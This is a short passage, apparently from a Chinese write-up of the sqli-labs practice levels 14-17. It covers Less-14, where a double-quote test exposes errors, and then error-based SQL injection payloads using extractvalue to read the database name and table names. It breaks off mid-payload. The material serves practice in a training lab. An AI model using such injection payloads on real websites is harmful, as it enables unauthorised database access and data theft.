less14~less-17

LESS-14 輸入：admin」 由此可見這個有錯誤提示且爲雙引號閉合； 由於有報錯提醒故可用報錯注入: admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))# Admin」 and extractvalue(1,concat(0x7e,(select table_name from information_schema

>>阅读原文<<